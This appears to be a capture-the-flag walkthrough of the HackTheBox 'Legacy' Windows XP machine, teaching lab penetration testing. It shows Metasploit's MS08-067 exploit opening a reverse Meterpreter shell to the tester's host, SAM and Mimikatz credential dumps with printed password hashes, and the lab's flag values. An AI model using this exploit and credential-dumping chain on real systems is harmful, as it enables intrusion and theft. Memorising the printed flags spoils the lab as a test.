So, now it's time to test against our first VM, for this article I've used the VM called "Legacy" from HackTheBox, So, boot into your Kali box, and log into the HackTheBox VPN, and let's get going.
Let's kick off with a scan against the target, and see what we're up against.
Nmap scan report for 10.129.24.95
Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (94%), General Dynamics embedded (87%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP3 (94%), Microsoft Windows Server 2003 SP1 or SP2 (92%)
Host script results:
|_clock-skew: mean: 5d00h27m42s, deviation: 2h07m16s, median: 4d22h57m42s
|_nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:52:1a (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2021-04-15T14:15:05+03:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
s
So, we have Samba running on a Windows XP / Server 2000-2008, but we don't know what Samba version it is. Could we find more info on that ?.
The metasploit framework has a samba scanning module included, maybe we could use that ? If you don't know the Metasploit Framework, I suggest you read through the mini course on it here https://www.offensive-security.com/metasploit-unleashed/.
msf6> auxiliary/scanner/smb/smb_version
set rhost 10.129.24.95
msf6>auxiliary(scanner/smb/smb_version) > run
[*] 10.129.24.95:445 - SMB Detected (versions:1)
(preferred dialect:)(signatures:optional)
[+] 10.129.24.95:445 - Host is running Windows XP SP3
(language:English) (name:LEGACY) (workgroup:HTB)
[*] 10.129.24.95: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6>auxiliary(scanner/smb/smb_version) >
So, we got a XP system for a target. Hmm..maybe the netapi exploit would work against it ?
search exploit smb target windows xp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 10.129.24.95
rhost => 10.129.24.95
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.14.74
lhost => 10.10.14.74
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.14.74:4444
[*] 10.129.24.95:445 - Automatically detecting the target...
[*] 10.129.24.95:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.24.95:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.24.95:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.129.24.95
[*] Meterpreter session 1 opened (10.10.14.74:4444 -> 10.129.24.95:1049) at 2021-04-10 11:34:34 +0200
meterpreter > getprivs
meterpreter > getsystem
meterpreter > hashdump
Administrator:500:b47234f31e261b47587db580d0d5f393:b1e8bd81ee9a6679befb976c0b9b6827:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:0ca071c2a387b648559a926bfe39f8d7:332e3bd65dbe0af563383faff76c6dc5:::
john:1003:dc6e5a1d0d4929c2969213afe9351474:54ee9a60735ab539438797574a9487ad:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:f2b8398cafc7174be746a74a3a7a3823:::
So, it did. What else can we do ?. Maybe some Mimikatz ?
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( This email address is being protected from spambots. You need JavaScript enabled to view it. )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( This email address is being protected from spambots. You need JavaScript enabled to view it. )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : LEGACY
SysKey : 2718f78ce465b7481f33cabd41e288e4
Local SID : S-1-5-21-117609710-1450960922-1801674531
SAMKey : 7b492a5c6459c4c40907a9267f3d2925
RID : 000001f4 (500)
User : Administrator
Hash LM : b47234f31e261b47587db580d0d5f393
Hash NTLM: b1e8bd81ee9a6679befb976c0b9b6827
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : HelpAssistant
Hash LM : 0ca071c2a387b648559a926bfe39f8d7
Hash NTLM: 332e3bd65dbe0af563383faff76c6dc5
RID : 000003ea (1002)
User : SUPPORT_388945a0
Hash NTLM: f2b8398cafc7174be746a74a3a7a3823
RID : 000003eb (1003)
User : john
Hash LM : dc6e5a1d0d4929c2969213afe9351474
Hash NTLM: 54ee9a60735ab539438797574a9487ad
Yep, that also worked. So let's find ourselves some flags, shall we ?
meterpreter > search -f root.txt
Found 1 result...
c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat 'c:\Documents and Settings\Administrator\Desktop\root.txt'
993442d258b0e0ec917cae9e695d5713
meterpreter >
search -f user.txt
Found 1 result...
c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > cat 'c:\Documents and Settings\john\Desktop\user.txt'
e69af0e4f443de7e36876fda4ec7644f
So, we got'em and now we're done, we pwned the Legacy VM. That wasn't so hard, was it ? This is a pretty simple VM, but if you got to here, take a bow, and grab some coffee, you deserve it ;)

